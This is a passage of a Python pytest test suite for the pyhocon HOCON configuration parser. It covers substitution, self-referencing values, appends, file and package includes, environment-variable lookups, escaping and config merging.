host_modules = 55 ${common_modules}
"""
)
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
host_modules = ${common_modules} 55
"""
)
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
host_modules = aa ${common_modules} bb
"""
)
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
host_modules = aa ${common_modules}
"""
)
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
host_modules = ${common_modules} aa
"""
)
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
host_modules = aa ${common_modules} bb
"""
)
def test_self_ref_substitution_array(self):
config = ConfigFactory.parse_string(
"""
x = [1,2]
x = ${x} [3,4]
x = [-1, 0] ${x} [5, 6]
x = [-3, -2] ${x}
"""
)
assert config.get("x") == [-3, -2, -1, 0, 1, 2, 3, 4, 5, 6]
def test_self_append_array(self):
config = ConfigFactory.parse_string(
"""
x = [1,2]
x += [3,4]
"""
)
assert config.get("x") == [1, 2, 3, 4]
def test_self_append_string(self):
'''
Should be equivalent to
x = abc
x = ${?x} def
'''
config = ConfigFactory.parse_string(
"""
x = abc
x += def
"""
)
assert config.get("x") == "abc def"
def test_self_append_non_existent_string(self):
'''
Should be equivalent to x = ${?x} def
'''
config = ConfigFactory.parse_string(
"""
x += def
"""
)
assert config.get("x") == " def"
def test_self_append_nonexistent_array(self):
config = ConfigFactory.parse_string(
"""
x += [1,2]
"""
)
assert config.get("x") == [1, 2]
def test_self_append_object(self):
config = ConfigFactory.parse_string(
"""
x = {a: 1}
x += {b: 2}
"""
)
assert config.get("x") == {'a': 1, 'b': 2}
def test_self_append_nonexistent_object(self):
config = ConfigFactory.parse_string(
"""
x += {a: 1}
"""
)
assert config.get("x") == {'a': 1}
def test_self_ref_substitution_array_to_dict(self):
config = ConfigFactory.parse_string(
"""
x = [1,2]
x = {x: [3,4]}
x = {y: [5,6]}
x = {z: ${x}}
"""
)
assert config.get("x.x") == [3, 4]
assert config.get("x.y") == [5, 6]
assert config.get("x.z") == {'x': [3, 4], 'y': [5, 6]}
def test_self_ref_substitiotion_dict_in_array(self):
config = ConfigFactory.parse_string(
"""
x = {x: [3,4]}
x = [${x}, 2, 3]
"""
)
(one, two, three) = config.get("x")
assert one == {'x': [3, 4]}
assert two == 2
assert three == 3
def test_self_ref_substitution_dict_path(self):
config = ConfigFactory.parse_string(
"""
x = {y: {z: 1}}
x = ${x.y}
"""
)
assert config.get("x.y") == {'z': 1}
assert config.get("x.z") == 1
assert set(config.get("x").keys()) == set(['y', 'z'])
def test_self_ref_substitution_dict_path_hide(self):
config = ConfigFactory.parse_string(
"""
x = {y: {y: 1}}
x = ${x.y}
"""
)
assert config.get("x.y") == 1
assert set(config.get("x").keys()) == set(['y'])
def test_self_ref_substitution_dict_recurse(self):
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
x = ${x}
"""
)
def test_self_ref_substitution_dict_recurse2(self):
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
x = ${x}
x = ${x}
"""
)
def test_self_ref_substitution_dict_merge(self):
'''
Example from HOCON spec
'''
config = ConfigFactory.parse_string(
"""
foo : { a : { c : 1 } }
foo : ${foo.a}
foo : { a : 2 }
"""
)
assert config.get('foo') == {'a': 2, 'c': 1}
assert set(config.keys()) == set(['foo'])
def test_self_ref_substitution_dict_otherfield(self):
'''
Example from HOCON spec
'''
config = ConfigFactory.parse_string(
"""
bar : {
foo : 42,
baz : ${bar.foo}
}
"""
)
assert config.get("bar") == {'foo': 42, 'baz': 42}
assert set(config.keys()) == set(['bar'])
def test_self_ref_substitution_dict_otherfield_merged_in(self):
'''
Example from HOCON spec
'''
config = ConfigFactory.parse_string(
"""
bar : {
foo : 42,
baz : ${bar.foo}
}
bar : { foo : 43 }
"""
)
assert config.get("bar") == {'foo': 43, 'baz': 43}
assert set(config.keys()) == set(['bar'])
def test_self_ref_substitution_dict_otherfield_merged_in_mutual(self):
'''
Example from HOCON spec
'''
config = ConfigFactory.parse_string(
"""
// bar.a should end up as 4
bar : { a : ${foo.d}, b : 1 }
bar.b = 3
// foo.c should end up as 3
foo : { c : ${bar.b}, d : 2 }
foo.d = 4
"""
)
assert config.get("bar") == {'a': 4, 'b': 3}
assert config.get("foo") == {'c': 3, 'd': 4}
assert set(config.keys()) == set(['bar', 'foo'])
def test_self_ref_substitution_string_opt_concat(self):
'''
Example from HOCON spec
'''
config = ConfigFactory.parse_string(
"""
a = ${?a}foo
"""
)
assert config.get("a") == 'foo'
assert set(config.keys()) == set(['a'])
def test_self_ref_substitution_dict_recurse_part(self):
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
x = ${x} {y: 1}
x = ${x.y}
"""
)
def test_self_ref_substitution_object(self):
config = ConfigFactory.parse_string(
"""
x = {a: 1, b: 2}
x = ${x} {c: 3}
x = {z: 0} ${x}
x = {y: -1} ${x} {d: 4}
"""
)
assert config.get("x") == {'a': 1, 'b': 2, 'c': 3, 'z': 0, 'y': -1, 'd': 4}
def test_self_ref_child(self):
config = ConfigFactory.parse_string(
"""
a.b = 3
a.b = ${a.b}
a.b = ${a.b}
a.c = [1,2]
a.c = ${a.c}
a.d = {foo: bar}
a.d = ${a.d}
"""
)
assert config.get("a") == {'b': 3, 'c': [1, 2], 'd': {'foo': 'bar'}}
def test_concat_multi_line_string(self):
config = ConfigFactory.parse_string(
"""
common_modules = perl \
java \
python
"""
)
assert [x.strip() for x in config['common_modules'].split() if x.strip(' ') != ''] == ['perl', 'java', 'python']
def test_concat_multi_line_list(self):
config = ConfigFactory.parse_string(
"""
common_modules = [perl] \
[java] \
[python]
"""
)
assert config['common_modules'] == ['perl', 'java', 'python']
def test_concat_multi_line_dict(self):
config = ConfigFactory.parse_string(
"""
common_modules = {a:perl} \
{b:java} \
{c:python}
"""
)
assert config['common_modules'] == {'a': 'perl', 'b': 'java', 'c': 'python'}
def test_parse_URL_from_samples(self):
config = ConfigFactory.parse_URL("file:samples/aws.conf")
assert config.get('data-center-generic.cluster-size') == 6
assert config.get('large-jvm-opts') == ['-XX:+UseParNewGC', '-Xm16g']
def test_parse_URL_from_invalid(self):
config = ConfigFactory.parse_URL("https://nosuchurl")
assert config == []
def test_include_dict_from_samples(self):
config = ConfigFactory.parse_file("samples/animals.conf")
assert config.get('cat.garfield.say') == 'meow'
assert config.get('dog.mutt.hates.garfield.say') == 'meow'
def test_include_glob_dict_from_samples(self):
config = ConfigFactory.parse_file("samples/all_animals.conf")
assert config.get('animals.garfield.say') == 'meow'
assert config.get('animals.mutt.hates.garfield.say') == 'meow'
def test_include_glob_list_from_samples(self):
config = ConfigFactory.parse_file("samples/all_bars.conf")
bars = config.get_list('bars')
assert len(bars) == 10
names = {bar['name'] for bar in bars}
types = {bar['type'] for bar in bars if 'type' in bar}
print(types, '(((((')
assert '<NAME>' in names
assert 'Homer\'s favorite coffee' in names
assert 'milk' in types
def test_list_of_dicts(self):
config = ConfigFactory.parse_string(
"""
a: [
{a: 1, b: 2},
{a: 3, c: 4},
]
"""
)
assert config['a'] == [
{'a': 1, 'b': 2},
{'a': 3, 'c': 4}
]
def test_list_of_lists(self):
config = ConfigFactory.parse_string(
"""
a: [
[1, 2]
[3, 4]
]
"""
)
assert config['a'] == [
[1, 2],
[3, 4]
]
def test_list_of_dicts_with_merge(self):
config = ConfigFactory.parse_string(
"""
b = {f: 4}
a: [
${b} {a: 1, b: 2},
{a: 3, c: 4} ${b},
{a: 3} ${b} {c: 6},
]
"""
)
assert config['a'] == [
{'a': 1, 'b': 2, 'f': 4},
{'a': 3, 'c': 4, 'f': 4},
{'a': 3, 'c': 6, 'f': 4}
]
def test_list_of_lists_with_merge(self):
config = ConfigFactory.parse_string(
"""
b = [5, 6]
a: [
${b} [1, 2]
[3, 4] ${b}
[1, 2] ${b} [7, 8]
]
"""
)
assert config['a'] == [
[5, 6, 1, 2],
[3, 4, 5, 6],
[1, 2, 5, 6, 7, 8]
]
def test_invalid_assignment(self):
with pytest.raises(ParseSyntaxException):
ConfigFactory.parse_string('common_modules [perl]')
with pytest.raises(ParseException):
ConfigFactory.parse_string('common_modules {} {perl: 1}')
with pytest.raises(ParseSyntaxException):
ConfigFactory.parse_string(
"""
a = {f: 5}
common_modules ${a} {perl: 1}
""")
def test_invalid_dict(self):
with pytest.raises(ParseSyntaxException):
ConfigFactory.parse_string(
"""
a = {
f: 5
g
}
""")
with pytest.raises(ParseSyntaxException):
ConfigFactory.parse_string('a = {g}')
def test_include_file(self):
with tempfile.NamedTemporaryFile('w') as fdin:
fdin.write('[1, 2]')
fdin.flush()
config1 = ConfigFactory.parse_string(
"""
a: [
include "{tmp_file}"
]
""".format(tmp_file=fdin.name)
)
assert config1['a'] == [1, 2]
config2 = ConfigFactory.parse_string(
"""
a: [
include file("{tmp_file}")
]
""".format(tmp_file=fdin.name)
)
assert config2['a'] == [1, 2]
config3 = ConfigFactory.parse_string(
"""
a: [
include url("file://{tmp_file}")
]
""".format(tmp_file=fdin.name)
)
assert config3['a'] == [1, 2]
def test_include_missing_file(self):
config1 = ConfigFactory.parse_string(
"""
a: [
include "dummy.txt"
3
4
]
"""
)
assert config1['a'] == [3, 4]
def test_include_required_file(self):
config = ConfigFactory.parse_string(
"""
a {
include required("samples/animals.d/cat.conf")
t = 2
}
"""
)
expected = {
'a': {
'garfield': {
'say': 'meow'
},
't': 2
}
}
assert expected == config
config2 = ConfigFactory.parse_string(
"""
a {
include required(file("samples/animals.d/cat.conf"))
t = 2
}
"""
)
assert expected == config2
def test_include_missing_required_file(self):
with pytest.raises(IOError):
ConfigFactory.parse_string(
"""
a: [
include required("dummy.txt")
3
4
]
"""
)
def test_resolve_package_path(self):
path = ConfigParser.resolve_package_path("pyhocon:config_parser.py")
assert os.path.exists(path)
def test_resolve_package_path_format(self):
with pytest.raises(ValueError):
ConfigParser.resolve_package_path("pyhocon/config_parser.py")
def test_resolve_package_path_missing(self):
with pytest.raises(ImportError):
ConfigParser.resolve_package_path("non_existent_module:foo.py")
def test_include_package_file(self, monkeypatch):
temp_dir = tempfile.mkdtemp()
try:
module_dir = os.path.join(temp_dir, 'my_module')
module_conf = os.path.join(module_dir, 'my.conf')
# create the module folder and necessary files (__init__ and config)
os.mkdir(module_dir)
open(os.path.join(module_dir, '__init__.py'), 'a').close()
with open(module_conf, 'w') as fdin:
fdin.write("{c: 3}")
# add the temp dir to sys.path so that 'my_module' can be discovered
monkeypatch.syspath_prepend(temp_dir)
# load the config and include the other config file from 'my_module'
config = ConfigFactory.parse_string(
"""
a: 1
b: 2
include package("my_module:my.conf")
"""
)
# check that the contents of both config files are available
assert dict(config.as_plain_ordered_dict()) == {'a': 1, 'b': 2, 'c': 3}
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def test_include_dict(self):
expected_res = {
'a': 1,
'b': 2,
'c': 3,
'd': 4
}
with tempfile.NamedTemporaryFile('w') as fdin:
fdin.write('{a: 1, b: 2}')
fdin.flush()
config1 = ConfigFactory.parse_string(
"""
a: {{
include "{tmp_file}"
c: 3
d: 4
}}
""".format(tmp_file=fdin.name)
)
assert config1['a'] == expected_res
config2 = ConfigFactory.parse_string(
"""
a: {{
c: 3
d: 4
include "{tmp_file}"
}}
""".format(tmp_file=fdin.name)
)
assert config2['a'] == expected_res
config3 = ConfigFactory.parse_string(
"""
a: {{
c: 3
include "{tmp_file}"
d: 4
}}
""".format(tmp_file=fdin.name)
)
assert config3['a'] == expected_res
def test_include_substitution(self):
with tempfile.NamedTemporaryFile('w') as fdin:
fdin.write('y = ${x}')
fdin.flush()
config = ConfigFactory.parse_string(
"""
include "{tmp_file}"
x = 42
""".format(tmp_file=fdin.name)
)
assert config['x'] == 42
assert config['y'] == 42
@pytest.mark.xfail
def test_include_substitution2(self):
with tempfile.NamedTemporaryFile('w') as fdin:
fdin.write('{ x : 10, y : ${x} }')
fdin.flush()
config = ConfigFactory.parse_string(
"""
{
a : { include """ + '"' + fdin.name + """" }
a : { x : 42 }
}
"""
)
assert config['a']['x'] == 42
assert config['a']['y'] == 42
def test_var_with_include_keyword(self):
config = ConfigFactory.parse_string(
"""
include-database=true
""")
assert config == {
'include-database': True
}
def test_substitution_override(self):
config = ConfigFactory.parse_string(
"""
database {
host = localhost
port = 5432
user = people
name = peopledb
pass = <PASSWORD>
}
user=test_user
pass=<PASSWORD>
database {
user = ${user}
pass = ${pass}
}
""")
assert config['database.user'] == 'test_user'
assert config['database.pass'] == '<PASSWORD>'
def test_substitution_flat_override(self):
config = ConfigFactory.parse_string(
"""
database {
name = peopledb
pass = <PASSWORD>
name = ${?NOT_EXISTS}
pass = ${?NOT_EXISTS}
}
""")
assert config['database.name'] == 'peopledb'
assert config['database.pass'] == '<PASSWORD>'
def test_substitution_multiple_override(self):
config = ConfigFactory.parse_string(
"""
a: 1
b: foo
c: ${a} ${b}
c: ${b} ${a}
d: ${a} ${b}
d: ${a} bar
""")
assert config['c'] == 'foo 1'
assert config['d'] == '1 bar'
def test_substitution_nested_override(self):
config = ConfigFactory.parse_string(
"""
database {
name = peopledb
pass = <PASSWORD>
}
database {
name = ${?user}
pass = ${?pass}
}
""")
assert config['database.name'] == 'peopledb'
assert config['database.pass'] == '<PASSWORD>'
def test_optional_with_merge(self):
unresolved = ConfigFactory.parse_string(
"""
foo: 42
foo: ${?a}
""", resolve=False)
source = ConfigFactory.parse_string(
"""
b: 14
""")
config = unresolved.with_fallback(source)
assert config['foo'] == 42
config = source.with_fallback(unresolved)
assert config['foo'] == 42
def test_fallback_with_resolve(self):
config3 = ConfigFactory.parse_string("c=5")
config2 = ConfigFactory.parse_string("b=${c}", resolve=False)
config1 = ConfigFactory.parse_string("a=${b}", resolve=False) \
.with_fallback(config2, resolve=False) \
.with_fallback(config3)
assert {'a': 5, 'b': 5, 'c': 5} == config1
def test_optional_substitution(self):
config = ConfigFactory.parse_string(
"""
a = 45
b = ${?c}
d = ${?c} 4
e = ${?a}
g = ${?c1} ${?c2}
h = ${?c1} ${?c2} 1
""")
assert 'b' not in config
assert config['d'] == 4
assert config['e'] == 45
assert 'g' not in config
assert config['h'] == 1
def test_cascade_optional_substitution(self):
config = ConfigFactory.parse_string(
"""
num = 3
retries_msg = You have ${num} retries
retries_msg = ${?CUSTOM_MSG}
""")
assert config == {
'num': 3,
'retries_msg': 'You have 3 retries'
}
def test_substitution_cycle(self):
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
a = ${b}
b = ${c}
c = ${a}
""")
def test_assign_number_with_eol(self):
config = ConfigFactory.parse_string(
"""
a =
4
b = # test
# test2
5
c =
6
"""
)
assert config['a'] == 4
assert config['b'] == 5
assert config['c'] == 6
def test_assign_int(self):
config = ConfigFactory.parse_string(
"""
short = 12
long = 12321321837612378126213217321
negative = -15
"""
)
# on python 3 long will be an int but on python 2 long with be a long
assert config['short'] == 12
assert isinstance(config['short'], int)
assert config['long'] == 12321321837612378126213217321
assert isinstance(config['negative'], int)
assert config['negative'] == -15
def test_assign_float(self):
config = ConfigFactory.parse_string(
"""
a = 121.22
b = -121.22
c = .54
d = -.54
"""
)
# on python 3 long will be an int but on python 2 long with be a long
assert config['a'] == 121.22
assert config['b'] == -121.22
assert config['c'] == .54
assert config['d'] == -.54
def test_sci_real(self):
"""
Test scientific expression of number
"""
config = ConfigFactory.parse_string(
"""
short = 12.12321
long1 = 121.22E3423432
neg_long1 = 121.22E-1
long2 = 121.22e3423432
neg_long2 = 121.22e-3
"""
)
# on python 3 long will be an int but on python 2 long with be a long
assert config['short'] == 12.12321
assert config['long1'] == 121.22E3423432
assert config['neg_long1'] == 121.22E-1
assert config['long2'] == 121.22E3423432
assert config['neg_long2'] == 121.22E-3
def test_assign_strings_with_eol(self):
config = ConfigFactory.parse_string(
"""
a =
"a"
b = # test
# test2
"b"
c =
"c"
"""
)
assert config['a'] == 'a'
assert config['b'] == 'b'
assert config['c'] == 'c'
def test_assign_list_numbers_with_eol(self):
config = ConfigFactory.parse_string(
"""
a =
[
1,
2,
]
b = # test
# test2
[
3,
4,]
c =
[
5,
6
]
"""
)
assert config['a'] == [1, 2]
assert config['b'] == [3, 4]
assert config['c'] == [5, 6]
def test_assign_list_strings_with_eol(self):
config = ConfigFactory.parse_string(
"""
a =
[
"a",
"b",
]
b = # test
# test2
[
"c",
"d",]
c =
[
"e",
"f"
]
"""
)
assert config['a'] == ['a', 'b']
assert config['b'] == ['c', 'd']
assert config['c'] == ['e', 'f']
def test_assign_dict_strings_with_equal_sign_with_eol(self):
config = ConfigFactory.parse_string(
"""
a =
{
a: 1,
b: 2,
}
b = # test
# test2
{
c: 3,
d: 4,}
c =
{
e: 5,
f: 6
}
"""
)
assert config['a'] == {'a': 1, 'b': 2}
assert config['b'] == {'c': 3, 'd': 4}
assert config['c'] == {'e': 5, 'f': 6}
def test_assign_dict_strings_no_equal_sign_with_eol(self):
config = ConfigFactory.parse_string(
"""
a
{
a: 1,
b: 2,
}
b # test
# test2
{
c: 3,
d: 4,}
c
{
e: 5,
f: 6
}
"""
)
assert config['a'] == {'a': 1, 'b': 2}
assert config['b'] == {'c': 3, 'd': 4}
assert config['c'] == {'e': 5, 'f': 6}
def test_substitutions_overwrite(self):
config1 = ConfigFactory.parse_string(
"""
a = 123
a = ${?test}
a = 5
"""
)
assert config1['a'] == 5
config2 = ConfigFactory.parse_string(
"""
{
database {
host = "localhost"
port = 8000
url = ${database.host}":"${database.port}
}
database {
host = ${?DB_HOST}
}
database {
host = "other.host.net"
port = 433
}
}
"""
)
assert config2['database']['host'] == 'other.host.net'
assert config2['database']['port'] == 433
assert config2['database']['url'] == 'other.host.net:433'
def test_fallback_substitutions_overwrite(self):
config1 = ConfigFactory.parse_string(
"""
a = {
b: 1
c: 2
}
"""
)
config2 = ConfigFactory.parse_string(
"""
a.b = 4
a.d = 3
"""
)
config3 = config1.with_fallback(config2)
assert config3['a'] == {
'b': 1,
'c': 2,
'd': 3
}
config4 = ConfigFactory.parse_string(
"""
name: foo
"""
)
config5 = ConfigFactory.parse_string(
u"""
longName: "long "${?name}
""",
resolve=False
)
config6 = config4.with_fallback(config5)
assert config6 == {
'longName': 'long foo',
'name': 'foo'
}
def test_fallback_substitutions_overwrite_file(self):
config1 = ConfigFactory.parse_string(
"""
{
data-center-generic = { cluster-size: 8 }
misc = "mist"
}
"""
)
# use unicode path here for regression testing https://github.com/chimpler/pyhocon/issues/44
config2 = config1.with_fallback(u'samples/aws.conf')
assert config2 == {
'data-center-generic': {'cluster-size': 8},
'data-center-east': {'cluster-size': 8, 'name': 'east'},
'misc': 'mist',
'default-jvm-opts': ['-XX:+UseParNewGC'],
'large-jvm-opts': ['-XX:+UseParNewGC', '-Xm16g']
}
def test_fallback_self_ref_substitutions_append(self):
config1 = ConfigFactory.parse_string(
"""
list = [ 1, 2, 3 ]
"""
)
config2 = ConfigFactory.parse_string(
"""
list = ${list} [ 4, 5, 6 ]
""",
resolve=False
)
config2 = config2.with_fallback(config1)
assert config2.get("list") == [1, 2, 3, 4, 5, 6]
def test_fallback_self_ref_substitutions_append_plus_equals(self):
config1 = ConfigFactory.parse_string(
"""
list = [ 1, 2, 3 ]
"""
)
config2 = ConfigFactory.parse_string(
"""
list += [ 4, 5, 6 ]
""",
resolve=False
)
config2 = config2.with_fallback(config1)
assert config2.get("list") == [1, 2, 3, 4, 5, 6]
def test_self_merge_ref_substitutions_object(self):
config1 = ConfigFactory.parse_string(
"""
a : { }
b : 1
c : ${a} { d : [ ${b} ] }
""",
resolve=False
)
config2 = ConfigFactory.parse_string(
"""
e : ${a} {
}
""",
resolve=False
)
merged = ConfigTree.merge_configs(config1, config2)
ConfigParser.resolve_substitutions(merged)
assert merged.get("c.d") == [1]
def test_self_merge_ref_substitutions_object2(self):
config1 = ConfigFactory.parse_string(
"""
x : { v1: 1 }
b1 : {v2: 2 }
b = [${b1}]
""",
resolve=False
)
config2 = ConfigFactory.parse_string(
"""
b2 : ${x} {v2: 3}
b += [${b2}]
""",
resolve=False
)
merged = ConfigTree.merge_configs(config1, config2)
ConfigParser.resolve_substitutions(merged)
b = merged.get("b")
assert len(b) == 2
assert b[0] == {'v2': 2}
assert b[1] == {'v1': 1, 'v2': 3}
def test_self_merge_ref_substitutions_object3(self):
config1 = ConfigFactory.parse_string(
"""
b1 : { v1: 1 }
b = [${b1}]
""",
resolve=False
)
config2 = ConfigFactory.parse_string(
"""
b1 : { v1: 2, v2: 3 }
""",
resolve=False
)
merged = ConfigTree.merge_configs(config1, config2)
ConfigParser.resolve_substitutions(merged)
assert merged.get("b1") == {"v1": 2, "v2": 3}
b = merged.get("b")
assert len(b) == 1
assert b[0] == {"v1": 2, "v2": 3}
def test_fallback_self_ref_substitutions_merge(self):
config1 = ConfigFactory.parse_string(
"""
dict = { x: 1 }
"""
)
config2 = ConfigFactory.parse_string(
"""
dict = ${dict} { y: 2 }
""",
resolve=False
)
config2 = config2.with_fallback(config1)
assert config2.get("dict") == {'x': 1, 'y': 2}
def test_fallback_self_ref_substitutions_concat_string(self):
config1 = ConfigFactory.parse_string(
"""
string = abc
"""
)
config2 = ConfigFactory.parse_string(
"""
string = ${string}def
""",
resolve=False
)
result = config2.with_fallback(config1)
assert result.get("string") == 'abcdef'
# test no mutation on config1
assert result is not config1
# test no mutation on config2
assert "abc" not in str(config2)
def test_fallback_non_root(self):
root = ConfigFactory.parse_string(
"""
a = 1
mid.b = 1
"""
)
config = root.get_config("mid").with_fallback(root)
assert config['a'] == 1 and config['b'] == 1
def test_object_field_substitution(self):
config = ConfigFactory.parse_string(
"""
A = ${Test}
Test {
field1 = 1
field2 = ${Test.field1}"2"
field3 = ${Test.field2}"3"
}
"""
)
assert config.get_string("A.field1") == "1"
assert config.get_string("A.field2") == "12"
assert config.get_string("A.field3") == "123"
assert config.get_string("Test.field1") == "1"
assert config.get_string("Test.field2") == "12"
assert config.get_string("Test.field3") == "123"
def test_one_line_quote_escape(self):
config = ConfigFactory.parse_string(
"""
test_no_quotes: abc\\n\\n
test_quotes: "abc\\n\\n"
"""
)
assert config == {
'test_no_quotes': 'abc\n\n',
'test_quotes': 'abc\n\n'
}
def test_multi_line_escape(self):
config = ConfigFactory.parse_string(
"""
with-escaped-backslash: \"\"\"
\\\\
\"\"\"
with-newline-escape-sequence: \"\"\"
\\n
\"\"\"
with-escaped-newline-escape-sequence: \"\"\"
\\\\n
\"\"\"
"""
)
assert config['with-escaped-backslash'] == '\n\\\\\n'
assert config['with-newline-escape-sequence'] == '\n\\n\n'
assert config['with-escaped-newline-escape-sequence'] == '\n\\\\n\n'
def test_multiline_with_backslash(self):
config = ConfigFactory.parse_string(
"""
test = line1 \
line2
test2 = test
""")
assert config == {
'test': 'line1 line2',
'test2': 'test'
}
def test_from_dict_with_dict(self):
d = {
'banana': 3,
'apple': 4,
'pear': 1,
'orange': 2,
}
config = ConfigFactory.from_dict(d)
assert config == d
def test_from_dict_with_ordered_dict(self):
d = OrderedDict()
d['banana'] = 3
d['apple'] = 4
d['pear'] = 1
d['orange'] = 2
config = ConfigFactory.from_dict(d)
assert config == d
def test_from_dict_with_nested_dict(self):
d = OrderedDict()
d['banana'] = 3
d['apple'] = 4
d['pear'] = 1
d['tree'] = {
'a': 'abc\ntest\n',
'b': [1, 2, 3]
}
config = ConfigFactory.from_dict(d)
assert config == d
def test_object_concat(self):
config = ConfigFactory.parse_string(
"""o1 = {
foo : {
a : 1
b : 2
}
}
o2 = {
foo : {
b : 3
c : 4
}
}
o3 = ${o1} ${o2}
"""
)
assert config.get_int('o1.foo.b') == 2
assert config.get_int('o2.foo.b') == 3
assert config.get_int('o3.foo.b') == 3
assert config.get_int('o1.foo.c', default=42) == 42
assert config.get_int('o3.foo.a') == 1
assert config.get_int('o3.foo.c') == 4
def test_issue_75(self):
config = ConfigFactory.parse_string(
"""base : {
bar: ["a"]
}
sub : ${base} {
baz: ${base.bar} ["b"]
}
sub2: ${sub}
"""
)
assert config.get_list('base.bar') == ["a"]
assert config.get_list('sub.baz') == ["a", "b"]
assert config.get_list('sub2.baz') == ["a", "b"]
def test_plain_ordered_dict(self):
config = ConfigFactory.parse_string(
"""
e : ${a} {
}
""",
resolve=False
)
with pytest.raises(ConfigException):
config.as_plain_ordered_dict()
def test_quoted_strings_with_ws(self):
config = ConfigFactory.parse_string(
"""
no_trailing_ws = "foo" "bar "
trailing_ws = "foo" "bar "{ws}
trailing_ws_with_comment = "foo" "bar "{ws}// comment
""".format(ws=' '))
assert config == {
'no_trailing_ws': "foo bar ",
'trailing_ws': "foo bar ",
'trailing_ws_with_comment': "foo bar "
}
def test_unquoted_strings_with_ws(self):
config = ConfigFactory.parse_string(
"""
a = foo bar
""")
assert config == {
'a': 'foo bar'
}
def test_quoted_unquoted_strings_with_ws(self):
config = ConfigFactory.parse_string(
"""
a = foo "bar" dummy
""")
assert config == {
'a': 'foo bar dummy'
}
def test_quoted_unquoted_strings_with_ws_substitutions(self):
config = ConfigFactory.parse_string(
"""
x = 5
b = test
a = foo "bar" ${b} dummy
c = foo ${x} bv
d = foo ${x} 43
""")
assert config == {
'x': 5,
'b': 'test',
'a': 'foo bar test dummy',
'c': 'foo 5 bv',
'd': 'foo 5 43'
}
def test_complex_substitutions(self):
config = ConfigFactory.parse_string(
"""
a: 1
b: ${c} {
pa: [${a}]
pb: ${b.pa}
}
c: { }
d: { pc: ${b.pa} }
e: ${b}
""", resolve=True)
assert config == {
'a': 1,
'b': {'pa': [1], 'pb': [1]},
'c': {},
'd': {'pc': [1]},
'e': {'pa': [1], 'pb': [1]}
}
def test_assign_next_line(self):
config = ConfigFactory.parse_string(
"""
a = // abc
abc
c =
5
""")
assert config == {
'a': 'abc',
'c': 5
}
@mock.patch.dict(os.environ, STRING_VAR='value_from_environment')
def test_string_from_environment(self):
config = ConfigFactory.parse_string(
"""
string_from_env = ${STRING_VAR}
""")
assert config == {
'string_from_env': 'value_from_environment'
}
@mock.patch.dict(os.environ, STRING_VAR='value_from_environment')
def test_string_from_environment_self_ref(self):
config = ConfigFactory.parse_string(
"""
STRING_VAR = ${STRING_VAR}
""")
assert config == {
'STRING_VAR': 'value_from_environment'
}
@mock.patch.dict(os.environ, STRING_VAR='value_from_environment')
def test_string_from_environment_self_ref_optional(self):
config = ConfigFactory.parse_string(
"""
STRING_VAR = ${?STRING_VAR}
""")
assert config == {
'STRING_VAR': 'value_from_environment'
}
@mock.patch.dict(os.environ, TRUE_OR_FALSE='false')
def test_bool_from_environment(self):
config = ConfigFactory.parse_string(
"""
bool_from_env = ${TRUE_OR_FALSE}
""")
assert config == {
'bool_from_env': 'false'
}
assert config.get_bool('bool_from_env') is False
@mock.patch.dict(os.environ, INT_VAR='5')
def test_int_from_environment(self):
config = ConfigFactory.parse_string(
"""
int_from_env = ${INT_VAR}
""")
assert config == {
'int_from_env': '5'
}
assert config.get_int('int_from_env') == 5
def test_unicode_dict_key(self):
input_string = u"""
www.sample.com {
us {
name = "first domain"
}
}
www.example-ö.com {
us {
name = "second domain"
}
}
"""
config = ConfigFactory.parse_string(input_string)
assert config.get_string(u'www.sample.com.us.name') == 'first domain'
assert config.get_string(u'www.example-ö.com.us.name') == 'second domain'
with pytest.raises(ConfigWrongTypeException):
config.put(u'www.example-ö', 'append_failure', append=True)
with pytest.raises(ConfigMissingException):
config.get_string(u'missing_unicode_key_ö')
with pytest.raises(ConfigException):
config.get_bool(u'www.example-ö.com.us.name')
with pytest.raises(ConfigException):
config.get_list(u'www.example-ö.com.us.name')
with pytest.raises(ConfigException):
config.get_config(u'www.example-ö.com.us.name')
with pytest.raises(ConfigWrongTypeException):
config.get_string(u'www.example-ö.com.us.name.missing')
def test_with_comment_on_last_line(self):
# Adress issue #102
config_tree = ConfigFactory.parse_string("""
foo: "1"
bar: "2"
# DO NOT CHANGE ANY OF THE ABOVE SETTINGS!""")
assert config_tree == {
'foo': '1',
'bar': '2'
}
def test_triple_quotes_same_line(self):
config_tree = ConfigFactory.parse_string('a:["""foo"""", "bar"]')
assert config_tree == {
'a': ['foo"', "bar"]
}
def test_pop(self):
config_tree = ConfigFactory.parse_string('a:{b: 3, d: 6}')
assert 3 == config_tree.pop('a.b', 5)
assert 5 == config_tree.pop('a.c', 5)
expected = {
'a': {'d': 6}
}
assert expected == config_tree
def test_merge_overriden(self):
# Adress issue #110
# ConfigValues must merge with its .overriden_value
# if both are ConfigTree
config_tree = ConfigFactory.parse_string("""
foo: ${bar}
foo: ${baz}
bar: {r: 1, s: 2}
baz: {s: 3, t: 4}
""")
assert 'r' in config_tree['foo'] and 't' in config_tree['foo'] and config_tree['foo']['s'] == 3
def test_attr_syntax(self):
config = ConfigFactory.parse_string(
"""
a: 1
b: {
pb: 5
}
""")
assert 5 == config.b.pb
def test_escape_quote(self):
config = ConfigFactory.parse_string(
"""
quoted: "abc\\"test"
unquoted: abc\\"test
""")
assert 'abc"test' == config['quoted']
assert 'abc"test' == config['unquoted']
def test_escape_quote_complex(self):
config = ConfigFactory.parse_string(
"""
value: "{\\"critical\\":\\"0.00\\",\\"warning\\":\\"99.99\\"}"
"""
)
assert '{"critical":"0.00","warning":"99.99"}' == config['value']
def test_keys_with_slash(self):
config = ConfigFactory.parse_string(
"""
/abc/cde1: abc
"/abc/cde2": "cde"
/abc/cde3: "fgh"
""")
assert 'abc' == config['/abc/cde1']
assert 'cde' == config['/abc/cde2']
assert 'fgh' == config['/abc/cde3']
def test_mutation_values(self):
config = ConfigFactory.parse_string(
"""
common : {
}
b1 = []
var = "wrong"
compilerCommon : ${common} {
